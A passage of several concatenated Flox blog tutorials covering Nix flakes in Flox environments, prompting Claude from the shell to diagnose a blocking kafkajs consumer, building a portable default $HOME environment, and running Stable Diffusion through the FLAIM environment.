using the environment 'node20.13.1'. To stop using this environment, type 'exit' flox [node20.13.1] daedalus@eidos:~/dev/node20.13.1$ node --version v20.13.1 flox [node20.13.1] daedalus@eidos:~/dev/node20.13.1$ npm --version 10.5.2 flox [node20.13.1] daedalus@eidos:~/dev/node20.13.1$ node server.js Server running at http://127.0.0.1:3000/ ``` Just for completeness’ sake, here’s our flake running in macOS on an Intel system: ``` daedalus@kakos:~/dev/node20.13.1 % uname -a Darwin kakos.local 23.5.0 Darwin Kernel Version 23.5.0: Wed May 1 20:09:52 PDT 2024; root:xnu-10063.121.3~5/RELEASE_X86_64 x86_64 i386 Darwin daedalus@kakos:~/dev/node20.13.1 % flox activate ✅ You are now using the environment 'node20.13.1'. To stop using this environment, type 'exit' flox [node20.13.1] kakos% node --version v20.13.1 ``` ## Example: Using Flakes to Change Package Behavior Sometimes it’s not that a package is missing from the Flox Catalog, it’s that there is a package that needs to be modified or augmented using a Nix expression. VS Code is a great example of this. The package `vscode-with-extensions` is designed to be used with overrides, which allow you to specify which VS Code extensions are made available. This can be useful for those situations where you need to create a very specific, repeatable IDE experience. This example flake contains VS Code combined with Jupyter Notebook extensions. ```nix { description = "VSCode with Jupyter Notebook extensions"; inputs = { nixpkgs.url = "github:flox/nixpkgs"; flake-utils.url = "github:numtide/flake-utils"; }; outputs = { self, nixpkgs, flake-utils }: flake-utils.lib.eachDefaultSystem (system: let pkgs = import nixpkgs { config.allowUnfree = true; inherit system; }; vscode-with-extensions = pkgs.vscode-with-extensions.override { vscodeExtensions = with pkgs.vscode-extensions; [ ms-toolsai.jupyter ms-toolsai.jupyter-keymap ms-toolsai.jupyter-renderers ]; }; in { packages.default = vscode-with-extensions; } ); } ``` You can use this flake by editing your `manifest.toml` and adding it to the `[install]` section, just like we saw in the first example. But there's an easier way! This time, we’ll show you how you can install it from the command line: ``` daedalus@kakos:~/dev/vscode-jupyter % flox install github:flox/flox-vscode-with-extensions-flake-example ``` Once you activate this environment and run `code --list-extensions`, you'll see that only the required extensions are included. ``` daedalus@kakos:~/dev/vscode-jupyter % flox activate ✅ You are now using the environment 'vscode-jupyter'. To stop using this environment, type 'exit' flox [vscode-jupyter] daedalus@kakos:~/dev/vscode-jupyter % flox [vscode-jupyter] daedalus@kakos:~/dev/vscode-jupyter % code --list-extensions ms-toolsai.jupyter ms-toolsai.jupyter-keymap ms-toolsai.jupyter-renderers ``` You can easily share your flake-enriched Flox environment just by pushing it to FloxHub. ``` flox [vscode-jupyter] daedalus@kakos:~/dev/vscode-jupyter % flox push You are not logged in to FloxHub. Logging in... Go to https://auth.flox.dev/activate?user_code=GMZM-RFZT in your browser Your one-time activation code is: GMZM-RFZT ✅ Authentication complete ✅ Logged in as barstoolbluz ✅ vscode-jupyter successfully pushed to FloxHub Use 'flox pull barstoolbluz/vscode-jupyter' to get this environment in any other location. ``` You can `flox pull` it from any other supported system and it'll run, no questions asked. But you can _also_ activate it remotely, without installing it, on any supported system. Just by doing this: ``` daedalus@eidos:~/dev/vscode-jupyter$ flox activate -r barstoolbluz/vscode-jupyter ✅ You are now using the environment 'barstoolbluz/vscode-jupyter (remote)'. To stop using this environment, type 'exit' flox [barstoolbluz/vscode-jupyter (remote)] daedalus@eidos:~/dev/vscode-jupyter$ ``` This gives you a FloxHub environment you can activate at a moment's notice, use, and exit—without having to clean anything up. ## Next-Level Flox with Flakes Flox can now extend the power of Nix into your workflow, making it easier for you to deliver rich environments that are portable, reliable, and reproducible. Flox has always allowed you to create advanced build environments, or complex, multi-application runtimes, but sometimes this required complicated, shell-specific logic in your manifests. No more. Flakes in Flox make it easier for you to scale Nix across your org. It's simplicity emerging from complexity. So if you’re a Nix user and you haven’t tried Flox, check it out! You can download it [here](https://flox.dev/docs/install-flox/). Title: Pair with Claude in Your Shell Using Anthropic + Flox Source: https://flox.dev/popular-packages/pair-with-claude-in-your-shell-using-anthropic-flox/ Date: 2024-07-19 Category: tutorial # Pair with Claude in Your Shell Using Anthropic + Flox With Flox's new pre-built environment, you can pass prompts to Anthropic's Claude models and get on-point results right within your terminal. When you're working in your project environment and stuff's starting to come together, you gotta do everything you can to stay in your flow. You gotta avoid the distraction of context-switching, even if it's just from one browser tab to another. But even when you're in your flow, sometimes you run into questions you can't answer on your own, and you just _gotta know_. When this happens, you use tools like `googler` or `ddgr` to search the web from your CLI. Now you can prompt [Anthropic](https://www.anthropic.com)'s [Claude](https://www.anthropic.com/claude) LLMs from your CLI, too—staying within your flow. With Flox's latest pre-built example environment, you can pass prompts to Anthropic's Claude models and get on-point results right within your terminal. What's more, you can pipe files to the Claude model of your choice, prompt it to analyze their contents, and optionally persist the model's response. With a little coding, you could even add a quick-and-dirty Flask API endpoint to our Anthropic environment, giving you a way to access it programmatically. This blog explores how you might use Flox's Anthropic environment in your day-to-day workflow. ## The Case of the Nattering Node App Picture this: You're in your Node.js project environment, building a new service that integrates streaming data from Apache Kafka. You've used Node.js's `kafkajs` library to set up your Kafka producers and consumers. That went swimmingly. Now you're in your flow state, trying to tune your Kafka consumer group so it scales better to handle increased throughput levels. That's when you start getting these messages in your terminal: ``` INFO: [ConsumerGroup] Rebalancing INFO: [ConsumerGroup] Member xyz is rejoining INFO: [ConsumerGroup] Rebalance complete ``` Rebalancing happens over and over again—even under normal load. Why? What gives? Output from Kafka's `kafka-consumer-groups` tool tells you there's pretty major lag between the current and log-end offsets. And your logs paint an even more dire picture: ``` [2024-07-18T09:55:00.000Z] INFO: [ConsumerGroup] Rebalancing [2024-07-18T09:55:05.000Z] INFO: [ConsumerGroup] Member xyz is rejoining [2024-07-18T09:55:10.000Z] INFO: [ConsumerGroup] Rebalance complete [2024-07-18T09:55:15.000Z] INFO: Processing message from partition 0, offset 800 [2024-07-18T09:55:25.000Z] INFO: Processing message from partition 1, offset 1200 [2024-07-18T09:55:35.000Z] INFO: Processing message from partition 0, offset 801 [2024-07-18T09:55:45.000Z] INFO: Processing message from partition 1, offset 1201 [2024-07-18T09:55:55.000Z] INFO: Processing message from partition 0, offset 802 [2024-07-18T09:56:05.000Z] INFO: Processing message from partition 1, offset 1202 [2024-07-18T09:56:10.000Z] WARN: High consumer lag detected. Current lag: 3000 messages. [2024-07-18T09:56:10.000Z] INFO: Current processing rate: 1 message per 1 seconds. ``` But why? Dammit this _was_ working! What the `^#@&\*` is going on?! This is what tools like CoPilot were created for. Let's say for the sake of argument that you don't use CoPilot... but you _do_ use the pre-built Flox environment for prompting Anthropic's Claude LLMs from your terminal. You remember how when you first set it up, it asked you a couple of questions and was ready to go. Just like that. ``` daedalus@parrhesia:~/dev/api-gateway-service$ flox activate -r flox/anthropic ✅ You are now using the environment 'flox/anthropic (remote)'. To stop using this environment, type 'exit' Please enter your Anthropic API key: > Type something... ``` That was all there was to it. ## Prompting i-Claudeius You're already in your Flox Node.js environment, building and testing your new application on the latest release of Node.js. So you go ahead and activate `Claude` as a FloxHub environment: ``` flox [node22.3] daedalus@parrhesia:~/dev/node22.3$ flox activate -r flox/anthropic ✅ You are now using the environment 'flox/anthropic (remote)'. To stop using this environment, type 'exit' Anthropic API key loaded from config file. flox [flox/anthropic (remote) node22.3] daedalus@parrhesia:~/dev/node22.3$ ``` This environment is [layered](https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox)—or superimposed virtually—over your Node.js project environment. It basically gives you an on-when-you-need-it, gone-when-you-don't prompting playground. And right now, you need it! So you get right to it: ``` flox [flox/anthropic (remote) node22.3] daedalus@parrhesia:~/dev/node22.3$ claude ‘my node.js service uses the kafkajs library to integrate with Kafka. I made some changes to the consumer groups and tweaked the code in my node application, and now my consumer group is experiencing high lag and frequent rebalancing. they're not keeping up with message volumes, even at normal load. i've already checked my consumer group configuration, and it seems fine. i'm partitioned according to best practices, too. can you help? please limit your response, as i'm querying you from a terminal.' Here are some potential causes and solutions to investigate: 1. Check consumer processing speed: - Ensure message processing isn't too slow - Optimize any heavy computations or I/O operations 2. Verify consumer instance count: - Ensure enough consumers for your partitions - Scale up if needed 3. Review batch processing: - Adjust batch size and max bytes settings - Balance between throughput and latency 4. Check for errors or exceptions: - Look for hidden errors in logs - Ensure proper error handling 5. Monitor resource usage: - Check CPU, memory, and network utilization - Upgrade resources if bottlenecked 6. Verify Kafka cluster health: - Check broker metrics and logs - Ensure cluster can handle current load 7. Review recent code changes: - Look for unintended side effects - Consider rolling back if issue persists 8. Analyze consumer group behavior: - Use Kafka monitoring tools - Look for patterns in rebalancing events Start with these steps and let me know if you need more specific guidance. ``` This is frustratingly basic stuff. It does make you think, however. Yes, you made some configuration changes in Kafka, but you _also_ refactored code in your `kafkajs` app, implementing synchronous logic to speed up message processing. But these changes were supposed to _improve_ performance under load! Your refactored code couldn't be the root cause...could it? You decide to pipe your code to Claude for analysis, asking it to compare your original and current versions. It's been a minute since you've used Flox's Anthropic environment, so you type: ``` flox [flox/anthropic (remote) node22.3] daedalus@parrhesia:~/dev/node22.3$ claude --help Usage: -c [OPTIONS] PROMPT Options: -m, --model The Claude model to use (sonnet3.5, opus3, sonnet3, haiku3, or full model name) -t, --temperature The temperature (0.0 to 1.0) for response generation -x, --max-tokens The maximum number of tokens in the response -i, --infile File to read input from -o, --outfile File to write the response to --help Show this message and exit. ``` Eureka! `-i` was the option you needed. This lets you pass files to a Claude model for analysis. ``` flox [flox/anthropic (remote) node22.3] $ claude -i after.js "i created this code snippet to try to improve the performance of my node.js application, but now i'm having problems with consumers constantly rebalancing. when i use the 'kafka-consumer-groups' cli tool, i see there's major lag between the current and log-end offsets. could the code changes i made here be at fault?" Yes, the code changes you made are likely contributing to the performance issues and consumer rebalancing problems you're experiencing. The main issue is that you've introduced synchronous, blocking operations in the message processing logic, which can significantly slow down the consumer and lead to the problems you're observing. Here's why: 1. Synchronous file reading: The `fs.readFileSync()` operation in the `processMessage` function is a blocking operation. This means that for each message, your consumer is waiting for the file to be read before processing the next message. If the file is large or there are many messages, this can cause significant delays. 2. JSON parsing: While not as significant as the file reading, `JSON.parse()` is also a synchronous operation that can add some overhead, especially for large messages. 3. Potential CPU-intensive operations: The `doSomethingWithFileData` function might be performing CPU-intensive tasks, further slowing down the message processing. These slow operations can cause the consumer to fall behind in processing messages, leading to increased lag and triggering rebalances as Kafka tries to redistribute the load among available consumers. To improve the situation, consider the following changes: ``` Claude printed a lot more information than this to your console—dozens and dozens of off-screen lines. So you decide to prompt it again, this time serializing its response to a text file: ``` flox [flox/anthropic (remote) node22.3] daedalus@parrhesia:~/dev/node22.3$ claude -i after.js -o output.txt "i created this code snippet to try to improve the performance of my node.js application, but now i'm having problems with consumers constantly rebalancing. when i use the 'kafka-consumer-groups' cli tool, i see there's major lag between the current and log-end offsets. could the code changes i made here be at fault?" Output saved to output.txt ``` You fire up your text editor to see what Claude had to say. Ordinarily, you'd do this using `vi` in your terminal, but `vi` doesn't make for a pretty or compelling visual in a walk-through. So we'll use `gnome-text-editor` instead. It isn't particularly pretty, but at least it's a GUI! There it is. The change you made to _improve_ performance under load actually _nerfed_ performance under all conditions! You could just revert to your prior, known-good code, but let's first ask Claude for help. You've been using the Flox Anthropic environment's default model, Claude Sonnet 3.5, but now you use the `-m` option to switch to Claude Opus 3, an older model that's arguably at least as capable, just slower. You've gotten excellent results from it when you've used it to debug stuff in the past. ``` flox [flox/anthropic (remote) node22.3] daedalus@parrhesia:~/dev/node22.3$ claude -i output.txt -o fixed.txt -m opus3 "how do i fix this? const { Kafka } = require('kafkajs'); const fs = require('fs'); // Added file system module const kafka = new Kafka({ clientId: 'my-app', brokers: ['kafka1:9092', 'kafka2:9092'] }); const consumer = kafka.consumer({ groupId: 'test-group' }); const run = async () => { await consumer.connect(); await consumer.subscribe({ topic: 'test-topic', fromBeginning: true }); await consumer.run({ eachMessage: async ({ topic, partition, message }) => { // Synchronous blocking operation added const data = JSON.parse(message.value.toString()); processMessage(data); }, }); }; const processMessage = (data) => { // Blocking synchronous file system operation const fileData = fs.readFileSync('/path/to/large/file.txt', 'utf8'); // Process the data with the file content doSomethingWithFileData(fileData, data); }; run().catch(console.error); " Output saved to fixed.txt ``` This time, you passed both an input file (`-i`) and code as part of your prompt, as well as specified a new model. But you kept the `-o` option, saving the output to a text file so you can more easily view and change the code generated by Claude. You once again fire up `fixed.txt` in your GUI text editor: This code snippet is actually a little different from your original. But it passes your sniff test. So you try it in your app, restarting Node.js, running your stress tests, and going to your logs. ``` [2024-07-18T10:05:00.000Z] INFO: Kafka consumer connected. [2024-07-18T10:05:00.100Z] INFO: Subscribed to topic test-topic. [2024-07-18T10:05:01.000Z] INFO: Processing message from partition 0, offset 2000. [2024-07-18T10:05:01.050Z] INFO: Processing message from partition 1, offset 2500. [2024-07-18T10:05:01.100Z] INFO: Processing message from partition 0, offset 2001. [2024-07-18T10:05:01.150Z] INFO: Processing message from partition 1, offset 2501. [2024-07-18T10:05:01.200Z] INFO: Processing message from partition 0, offset 2002. [2024-07-18T10:05:01.250Z] INFO: Processing message from partition 1, offset 2502. ... [2024-07-18T10:10:00.100Z] INFO: Current processing rate: 200 messages per second. ``` That's it. You've solved your problem. But you're curious: could Claude zero in on exactly the right answer if you constrain its output, passing `-x` to limit the number of tokens it uses to generate responses? ``` flox [flox/anthropic (remote) node22.3] $ claude -i after.js -m opus3 -x 50 "i created this code snippet to try to improve the performance of my node.js application, but now i'm having problems with consumers constantly rebalancing. when i use the 'kafka-consumer-groups' cli tool, i see there's major lag between the current and log-end offsets. could the code changes i made here be at fault?" Yes, the code changes you made could be the reason for the consumer rebalancing and the lag between the current and log-end offsets. In your code, you introduced a blocking synchronous operation inside the `eachMessage` handler. ``` The very model of conciseness! Every good writer knows that being succinct is an art. Four centuries ago, Blaise Pascal put this best, [deadpanning](https://en.wikipedia.org/wiki/Lettres_provinciales) “I would have written a shorter letter, but did not have the time.” Given the right prompt constraints, the best LLMs do a pretty good job at making the time. ## A Better Way to Build, Share, and Deploy Software To date, we've built Flox example environments for [Ollama](https://flox.dev/blog/llms-in-your-project-with-ollama-flox), [Stable Diffusion + HuggingFace Diffusers](https://flox.dev/blog/ml-modeling-with-flaim-and-hugging-face-diffusers), [OpenAI](https://flox.dev/blog/supercharge-your-shell-with-openai-flox), [Jupyter Notebook](https://flox.dev/blog/using-jupyter-notebooks-with-flox), [Podman](https://flox.dev/blog/run-containers-easily-with-podman-flox), and other useful stuff. The thing is, you could easily use Flox to build these environments on your own! There's really nothing special about them, and you can view their source using `flox list -c -r` and the environment name. Take a look to see how this one was built! Curious? Intrigued? Skeptical? Why not take one of our example environments for a spin? It's as easy as installing [Flox on OS X, Linux, or WSL](https://flox.dev/docs/install-flox/), and typing ``` flox activate -r flox/anthropic ``` When you're finished, just type exit and—poof!—it's gone! Try it and see how easily Flox fits into your workflow! Title: Extreme $HOME Makeover with Flox Source: https://flox.dev/blog/extreme-home-makeover-with-flox/ Date: 2024-07-12 Category: guide # Extreme $HOME Makeover with Flox With the Flox default environment, you can take your $HOME with you wherever you go...and keep your tooling consistent across systems and distros. “So what’s in your default environment?” Flox co-founder Michael Brantley was asking about my `default` Flox environment, which lives in my `$HOME` directory and includes all of the stuff I use on a regular basis. There was just one catch. I didn’t have a `default` Flox environment. I hadn’t yet gotten that far in my journey. I could’ve made something up, but I decided to be honest. Besides, I had a question of my own. “Help me understand something,” I asked him. “Why do you need this?” Michael’s face seemed to fill my Zoom screen, almost as if he were leaning closer, preparing to confide a secret. “Because I want an experience that’s consistent across OSs, even though Linux hands me a bash shell, or MacOS hands me zsh,” he said. “If I can pull off that trick and have those experiences be almost identical anywhere, that's no mean feat, is it?” It certainly is not. It turns out Michael has an even neater trick up his sleeve: He can take $HOME with him wherever he goes–so long as he has an internet connection. ## No place like $HOME Once Michael showed me the config file he’d created for his `default` Flox environment, the Big Picture started coming into focus. Flox has a catalog of more than 1 million package and version combinations. With it, I could install exactly the same versions of exactly the same software...everywhere. This meant I’d no longer need to map `build-essentials` in Debian to `Development Tools` + `@development-libs` in Fedora. And that’s just one example! Suddenly I saw a future where inconsistencies and incompatibilities between different versions of tools and libraries on different systems were basically nonissues. Even better, I saw how with my Floxified $HOME environment I’d have just one place to define environment variables for any shell I use, be it bash, zsh, or fish. I’d have just one place for specifying all of the things I want and need to remain consistent across disparate systems and any shells I run within those systems. And, of course, different shells handle things in different ways. To give you one example: if I need to disable hashing in bash, I have to type `hash -r` (or put `unset HISTFILE` in my `.bashrc` to make this permanent). But zsh expects to use a different command for this (`unsetopt hash_list`). With Flox, I can do all of this in just one place: my environment’s `manifest.toml` file. These and other thoughts crystallized for me as I studied the contents of Michael’s `default` profile. It includes the following packages: ``` bash coreutils-full gnumake gnused gnutar findutils man openssh zsh ``` In one sense, Michael uses these packages to Linux-ify his MacOS terminal. “These are tools where I want to have the same identical versions across all OSs,” he told me, adding that packages like `coreutils-full` are “a must for MacOS, containing all of the versions of tools you’d normally think of as just for Linux.” Frustratingly, some of the core GNU utilities that ship with MacOS are quite old. Others take different arguments, or (in the case of the venerable `man` utility) don’t have all the features of their GNU variants. As for OpenSSH, Michael explained that MacOS ships with an older version that’s incompatible with hardware authentication devices like Yubikey. In addition to the essential packages he relies on to Linux-ify his MacOS $HOME environment, Michael’s `default` Flox profile includes another, separate category of software: stuff that isn’t guaranteed to be available across all operating systems. This list is far larger. It includes: ``` _1password ack bat curl fish getent git-lfs gitFull htop jq mtr procps pstree psutils tailscale tmux tree vimHugeX ``` Some of these omissions are frustrating, but all too real. On Debian, Ubuntu, Fedora, and other distributions, `curl` is maddeningly not available by default. (On Debian, `wget` isn’t even available by default!) On MacOS, `getent` isn't available, either, although Apple’s `zsh` shell does create a function called `getent()`, which doesn’t quite seem to work. ## Making it my own At first I was tempted to take Michael’s list, make just a few changes, and copy it into my `default` profile. Flox environments are declarative, so their “configuration” consists of a software manifest (`manifest.toml`) and a software versioning lock file (`manifest.lock`). That’s basically it. To bootstrap a new `default` environment with exactly the same packages, all you’ve got to do is `flox init` in your $HOME directory, navigate to the `manifest.toml` file located in `~/.flox/env/`, and paste the names of your packages into its `[install]` section. Ultimately, I decided to pick and choose a few things from Michael’s `default` profile. After all, one’s `env` is a highly personal thing, right? It consists of the tools, aliases, variables, and other stuff that matter to you. If (like Flox’s Ross Turk) you’ve got to have `cowsay` in your `env`, that’s your right. So I created a `default` of my own: ``` daedalus@hybris:~$ flox init -d $HOME ✨ Created environment 'default' (x86_64-linux) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment $ flox edit <- Add environment variables and shell hooks daedalus@hybris:~$ ``` Then I started populating it with stuff: ``` daedalus@hybris:~$ flox install openssh curl rsync wget byobu tmux img-cat htop ncdu toilet aichat duf bat diff-so-fancy scc exa aria2 fdupes fzf coreutils procs jq ripgrep ✅ 'openssh' installed to environment 'default' ✅ 'curl' installed to environment 'default' ✅ 'rsync' installed to environment 'default' ✅ 'wget' installed to environment 'default' ✅ 'byobu' installed to environment 'default' ✅ 'tmux' installed to environment 'default' ✅ 'img-cat' installed to environment 'default' ✅ 'htop' installed to environment 'default' ✅ 'ncdu' installed to environment 'default' ✅ 'toilet' installed to environment 'default' ✅ 'aichat' installed to environment 'default' ✅ 'duf' installed to environment 'default' ✅ 'bat' installed to environment 'default' ✅ 'diff-so-fancy' installed to environment 'default' ✅ 'scc' installed to environment 'default' ✅ 'exa' installed to environment 'default' ✅ 'aria2' installed to environment 'default' ✅ 'fdupes' installed to environment 'default' ✅ 'fzf' installed to environment 'default' ✅ 'coreutils' installed to environment 'default' ✅ 'procs' installed to environment 'default' ✅ 'jq' installed to environment 'default' ✅ 'ripgrep' installed to environment 'default' ``` This [SBOM](https://www.cisa.gov/sbom#:~:text=A%20%E2%80%9Csoftware%20bill%20of%20materials,that%20make%20up%20software%20components.) is by no means complete. I’m definitely going to build `duf`, `bat`,`diff-so-fancy`, and (dog help me) `toilet` into my `default` environment, because that’s my right! But instead of manually installing this stuff via the command-line, I’ll mainly populate my Flox `manifest.toml` directly. I can easily do this just by typing `flox edit`, or by opening `./.flox/env/manifest.toml` in my favorite editor. (If you do opt to use `flox edit`, be sure to set your `EDITOR` env variable ahead of time. Otherwise it will open in `vi`!) ``` # This is a Flox environment manifest. # Visit flox.dev/docs/concepts/manifest/ # or see flox-edit(1), manifest.toml(5) for more information. # version = 1 # List packages you wish to install in your environment inside # the `[install]` section. [install] openssh.pkg-path = "openssh" curl.pkg-path = "curl" rsync.pkg-path = "rsync" wget.pkg-path = "wget" byobu.pkg-path = "byobu" tmux.pkg-path = "tmux" img-cat.pkg-path = "img-cat" htop.pkg-path = "htop" ncdu.pkg-path = "ncdu" toilet.pkg-path = "toilet" aichat.pkg-path = "aichat" duf.pkg-path = "duf" bat.pkg-path = "bat" diff-so-fancy.pkg-path = "diff-so-fancy" scc.pkg-path = "scc" exa.pkg-path = "exa" aria2.pkg-path = "aria2" fdupes.pkg-path = "fdupes" fzf.pkg-path = "fzf" coreutils.pkg-path = "coreutils" procs.pkg-path = "procs" jq.pkg-path = "jq" ripgrep.pkg-path = "ripgrep" ``` Let’s say I wanted to add `gitFull` to this file. If I needed a specific version of Git, I’d type `flox show gitFull` to list available versions of the `gitFull` package: ``` gitFull@git-with-svn-2.45.2 gitFull@git-with-svn-2.45.1 gitFull@git-with-svn-2.44.1 gitFull@git-with-svn-2.44.0 gitFull@git-with-svn-2.43.2 gitFull@git-with-svn-2.43.1 gitFull@git-with-svn-2.43.0 gitFull@git-with-svn-2.42.0 gitFull@git-with-svn-2.41.0 gitFull@git-with-svn-2.40.1 gitFull@git-with-svn-2.39.2 gitFull@git-with-svn-2.39.1 gitFull@git-with-svn-2.39.0 gitFull@git-with-svn-2.38.1 gitFull@git-with-svn-2.38.0 gitFull@git-with-svn-2.37.2 gitFull@git-with-svn-2.36.0 ``` Then I can paste the one I want into my environment’s `manifest.toml`. But if I just type `flox install gitFull`, I get version 2.45.2–the latest. ``` [install] openssh.pkg-path = "openssh" curl.pkg-path = "curl" rsync.pkg-path = "rsync" wget.pkg-path = "wget" byobu.pkg-path = "byobu" tmux.pkg-path = "tmux" img-cat.pkg-path = "img-cat" htop.pkg-path = "htop" ncdu.pkg-path = "ncdu" toilet.pkg-path = "toilet" aichat.pkg-path = "aichat" duf.pkg-path = "duf" bat.pkg-path = "bat" diff-so-fancy.pkg-path = "diff-so-fancy" scc.pkg-path = "scc" exa.pkg-path = "exa" aria2.pkg-path = "aria2" fdupes.pkg-path = "fdupes" fzf.pkg-path = "fzf" coreutils.pkg-path = "coreutils" procs.pkg-path = "procs" jq.pkg-path = "jq" ripgrep.pkg-path = "ripgrep" gitFull.pkg-path = "gitFull" ``` That’s about it. I’m going to add more tools to my `default` environment as I go along, including (probably) some of the other build tools that Michael, Ross, and other Flox Folx use. I’m also going to replicate my preferred aliases, alerts, variables, automations, and other settings, using the `[vars]`, `[hook]`, and `[profile]` sections of `manifest.toml`. And once I’ve Floxified my $HOME with all of this stuff, I'll work up to the Next Big Step: adding the following line to my `.bashrc`file: ``` eval "$(flox activate -r daedalus/default)" ``` With this, my `default` Flox environment will auto-activate when I login! ## $HOME Sweet Home I’ve saved the best part for last, although I teased it above. I can also take my `default` $HOME environment with me wherever I go. By pushing my `default` environment to FloxHub, I can easily pull and install it on new systems. But I can do something else with Flox and FloxHub that I can’t do with GitHub, GitLab, Google Drive, or any other service. I can activate my `default` profile as a FloxHub environment. This gives me Michael Brantley’s other trick: $HOME away from home. The `eval "$(flox activate -r daedalus/default)` I teased above is an example of this. The `-r` switch tells Flox to activate `default` as a FloxHub environment. When you exit, the session ends (but the local copy of the environment remains cached for next time). It's roughly analogous to having a $HOME environment that's a virtual overlay. In my Flox $HOME away from home, I’ve got access to allmodcons: all of the stuff I use each and every day to procrasti—I mean, to work ceaselessly on new Floxified walk-throughs, tutorials, and similar content. I’m actually understating how cool this is! But that is a story for another blog... Has this walk-through piqued your interest? Are you ready to take Flox for a test drive? Check out the quick-start guide [here](https://flox.dev/docs/). Or take the plunge: download Flox [here](https://flox.dev/docs/install-flox/) and dive right in. It has less than a dozen commands, and it’s super easy to learn. If you’re comfortable in a terminal, you’ll be comfortable using (and customizing) Flox! Title: ML Modeling with FLAIM and Hugging Face Diffusers Source: https://flox.dev/blog/ml-modeling-with-flaim-and-hugging-face-diffusers/ Date: 2024-07-10 Category: guide # ML Modeling with FLAIM and Hugging Face Diffusers Using Flox, it is easy to create reproducible environments for ML training and inference using Hugging Face Diffusers. Our FLAIM environment gets you there in a single command. Diffuser models like [Stable Diffusion 3.0](https://stability.ai/news/stable-diffusion-3-medium) are lots of fun to play around with. But these models are more than just toys: you can build with them, too! The fine folks at 🤗 (Hugging Face) have made it surprisingly simple to do this, producing [a virtual toolbox](https://github.com/huggingface/diffusers) that lets you [download and run](https://huggingface.co/blog/sd3#using-sd3-with-diffusers) Stable Diffusion 3 and other “Diffusers.” (Diffusers are a type of model that generates data by iteratively refining it across multiple steps.) Thanks to 🤗’s Diffusers toolbox, running models like Stable Diffusion 3 is pretty close to painless—once you have it installed. Flox makes it easy to create environments that contain 🤗 Diffusers. In fact, we created one you can download and use right now: FLAIM, the Flox AI Modeling environment. This short video shows what it can do: In this blog, you’ll learn how Flox equips you to build environments like FLAIM that deliver reproducible results across all phases of your SDLC—from local dev to CI and beyond. All without using containers, which can’t give us the acceleration we need for projects like FLAIM. ## How not to build a dev environment for running ML and AI models Let’s deal with the elephant in the room: The solution is not to containerize Stable Diffusion. In the first place, you’ll need to build and maintain separate container images for popular machine architectures, like ARM and 64-bit x86. Second, getting Nvidia’s CUDA toolkit running in containers isn’t exactly a heavy lift, [but it isn’t super easy, either](https://github.com/NVIDIA/nvidia-container-toolkit). And third, getting containerized ARM workloads to take advantage of Apple’s Metal GPU API is … well, [it really isn’t easy](https://github.com/makllama/makllama). The third one is the real showstopper. A solid one-third of professional developers use MacOS, more than six times the overall market share of that platform. (The data is from [StackOverflow’s 2023 Developer Survey](https://survey.stackoverflow.co/2023/#technology), but MacOs performed about the same in [StackOverflow’s 2022 tally](https://survey.stackoverflow.co/2022/#technology), too.) So if you can’t containerize Stable Diffusion, but you still need it as part of a reproducible development environment, what can you do? The team at Flox would like to make a modest proposal. ## A better way to build and run software Why not run Stable Diffusion directly on your local system using Flox, a virtual environment manager and package manager rolled into one? Flox works with \*any\* language or toolchain, and \*any\* language- or application-specific package manager. And by [layering](https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox) Flox environments, you can create the equivalent of multi-container runtimes on your local system, with transparent access to all of your tools, files, environment variables, secrets, etc. This isn’t sleight of hand, much less magic, because Flox borrows from the same ideas and principles used to power [Nix](https://nixos.org/), the proven open-source package manager. This walk-through showcases another unique Flox feature, running FLAIM from a FloxHub environment. FloxHub environments are great for test-driving software: you activate them when you need them, and when you exit, the session ends (but the cache remains for next time). This makes test-driving software painless. First, we'll activate FLAIM from FloxHub. When you grab a FloxHub environment, it "activates" in whatever directory you're currently in. For this walk-through, we'll assume we're in `~/dev/`. ``` ~/dev % flox activate -r flox/flaim ``` You use the `-r` switch plus the `/` syntax to activate a FloxHub environment. This environment will cease to exist as soon as you type `exit` and press the enter key. Until then, it will provide a discrete context in which to run software. Once activated, FLAIM attempts to enable GPU acceleration, if available. This is actually trickier than you might think! NVIDIA’s CUDA libraries don’t live in the same locations across all Linux distributions. In creating FLAIM, Flox’s Ross Turk built in some arresting visual cues, so you’ll know if you’re running with GPU acceleration or not. As the screengrab below shows, these cues are hard to miss. If you believe your FLAIM environment should be accelerated, but isn’t, run the built in `testaccel` alias to retry: I don’t use OSX, but Ross does. Here’s what the output of `testaccel` looks like on his MacBook Pro: ``` flox [flox/flaim (remote)] ~ % testaccel Metal is available 🍏 ``` When you try to run FLAIM on a non-GPU-accelerated platform, your output looks like this: ``` flox [flox/flaim (remote)] daedalus@hybris:~/dev$ testaccel I only see a CPU 😞 ``` Things will still run in FLAIM, but make some popcorn. It’ll take awhile. ## Putting FLAIM through its paces Once FLAIM is active, you will have access to a few key packages: ``` ~/dev % flox list accelerate: python311Packages.accelerate (python3.11-accelerate-0.30.0) diffusers: python311Packages.diffusers (python3.11-diffusers-0.29.0) sentencepiece: python311Packages.sentencepiece (python3.11-sentencepiece-0.2.0) transformers: python311Packages.transformers (python3.11-transformers-4.42.3) pytorch: python311Packages.pytorch-bin (python3.11-torch-2.2.2) ``` You can now pass the following commands to the built-in Python interpreter, generating an image: ``` % python3 >>> import torch >>> from diffusers import StableDiffusionPipeline >>> pipe = StableDiffusionPipeline.from\_pretrained( "runwayml/stable-diffusion-v1-5", torch\_dtype=torch.float16) [this takes a while] >>> pipe = pipe.to("cuda") # or "mps" on mac, or leave out for cpu >>> image = pipe("a smiling brittany spaniel puppy").images[0] >>> image.save("smiling-brittany-spaniel-puppy.png") ``` But no one should have to interact with a Python interpreter to generate images, right?! Happily, Ross built a script into FLAIM that does this for us. You can call it with the alias `genimg`, passing your prompt—enclosed in quotes—as part of the command. ``` flox [flox/flaim (remote)] daedalus@ethos:~/dev$ genimg \ "public domain steamboat willie letting his freak flag fly" ``` FLAIM is by no means a one-trick pony. If you need a Python package that isn’t already built into it—and there’s a high likelihood of this!—you can add it to requirements.txt: ``` daedalus@ethos:~/dev/myproject$ mkdir myproject && cd myproject daedalus@ethos:~/dev/myproject$ echo "imgcat" > requirements.txt daedalus@ethos:~/dev/myproject$ echo "click" >> requirements.txt daedalus@ethos:~/dev/myproject$ flox activate -r flox/flaim flox [flox/flaim (remote)] daedalus@ethos:~/dev/myproject$ ``` Note: If you do create a requirements.txt file, you end up with a `flaim-venv` virtual environment in the directory where you activated FLAIM. This means you can activate FLAIM in different projects, even if they have different dependency requirements. ## DIY AIM That’s basically it. But wait! There’s one more thing: Even though we built FLAIM for you, you could almost as easily Build Your Own 